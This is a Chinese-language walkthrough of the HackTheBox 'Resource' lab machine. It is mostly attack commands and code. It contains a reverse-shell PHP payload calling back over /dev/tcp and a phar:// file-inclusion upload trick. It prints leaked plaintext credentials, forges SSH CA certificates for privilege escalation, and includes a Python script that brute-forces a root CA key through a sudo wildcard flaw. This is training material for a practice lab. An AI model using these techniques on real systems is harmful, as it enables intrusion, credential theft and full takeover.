Resource(HTB Hard)

基本信息

  • IP:10.10.11.27
  • VPN:10.10.16.7
  • 域名:itrc.ssg.htb

信息收集

vim /etc/hosts
10.10.11.27 itrc.ssg.htb
nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.11.27
80/tcp
22/tcp
2222/tcp

http://itrc.ssg.htb 有登录/注册。SQL 注入无果,注册后可上传 zip。?page=ticket&id=10 可能越权;?page=admin 能进,有 ping 窗口但命令执行失败。

User(容器 www-data → zzinter)

压缩 phpinfo 再上传:

echo '<?php phpinfo(); ?>' > info.php
zip info.zip info.php

上传后文件名被哈希化,实际在 /uploads/。用 phar:// 包含:

http://itrc.ssg.htb/?page=phar://uploads/26b3b3ac4c1d5263dd15e309b1d0c45d62a15c78.zip/phpinfo

反弹 shell(注意笔记里 LHOST 写成了靶机 IP,实际应填 VPN IP):

nc -lnvp 4444
echo "<?php eval(system(\"bash -c 'bash -i >& /dev/tcp/<VPN_IP>/4444 0>&1'\")); ?>" > info.php
zip info.zip info.php
http://itrc.ssg.htb/?page=phar://uploads/<hash>.zip/phpinfo
uid=33(www-data)

根目录有 .dockerenv,当前在容器里。/home 有 msainristil、zzinter。旧上传包解压出 har:

cd /var/www/html/uploads/
unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
cat itrc.ssg.htb.har | grep msainristil
"value": "msainristil"
"value": "82yards2closeit"

家目录有 ca-itrc / ca-itrc.pub,可用 CA 签用户证书。参考 SSH CA。

ssh-keygen -t rsa -C [email protected] -f users_key
ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub
scp [email protected]:/home/msainristil/decommission_old_ca/user* ./
ssh -i users_key [email protected]

容器 root 同理:

ssh-keygen -t rsa -C [email protected] -f dockerroot
ssh-keygen -s ca-itrc -n root -I ident dockerroot.pub
ssh -i dockerroot [email protected]

user.txt 在 zzinter 家目录。

主机 support / zzinter(2222)

sign_key_api.sh 向 signserv.ssg.htb 要签名,principal 限 webserver,analytics,support,security。签 support:

ssh-keygen -t rsa -C [email protected] -f support
./sign_key_api.sh support.pub support support > support-cert.pub
scp [email protected]:/tmp/suppo* .
ssh -i support -p 2222 [email protected]

/etc/ssh/auth_principals 显示 zzinter 可用 zzinter_temp。在容器里改脚本白名单后签:

cp /home/zzinter/sign_key_api.sh /tmp/sign.sh
ssh-keygen -t rsa -C [email protected] -f zzintertemp
./sign.sh zzintertemp.pub zzinter zzinter_temp > zzintertemp-cert.pub
ssh -i zzintertemp -p 2222 [email protected]

Root(主机)

sudo -l
cat /opt/sign_key.sh

免密执行 /opt/sign_key.sh。脚本会把传入 CA 和 /etc/ssh/ca-it 做字符串比较;当前用户读不了 ca-it,可用通配符 * 逐字符还原。root 的 principal 是 root_user。

ssh-keygen -t rsa -C [email protected] -f rootuser

pre.py:

import os

header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
ba64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
key = []
line = 0

while True:
    for char in ba64chars:
        testKey = header + "\n" + "".join(key) + char + "*"
        with open('/tmp/test-ca', 'w', encoding='utf-8') as f:
            f.write(testKey)
        orderResult = os.popen("sudo /opt/sign_key.sh /tmp/test-ca rootuser.pub root root_user 05").readlines()
        if "Error: Use API for signing with this CA." in str(orderResult):
            key.append(char)
            if len(key) > 0 and (len(key) - line) % 70 == 0:
                line = line + 1
                key.append("\n")
            break
    else:
        break

testKey = header + "\n" + "".join(key) + "\n" + footer
with open('/tmp/test-ca', 'w') as f:
    f.write(testKey)

每 70 字符插入的换行要删掉再签:

python pre.py
ssh-keygen -s /tmp/test-ca -z 05 -I root -V -1w:forever -n root_user rootuser.pub
python -m http.server 8999

本机取回后:

ssh -i rootuser -p 2222 [email protected]
cd /root
cat root.txt

至此,机器权限已经全部获取。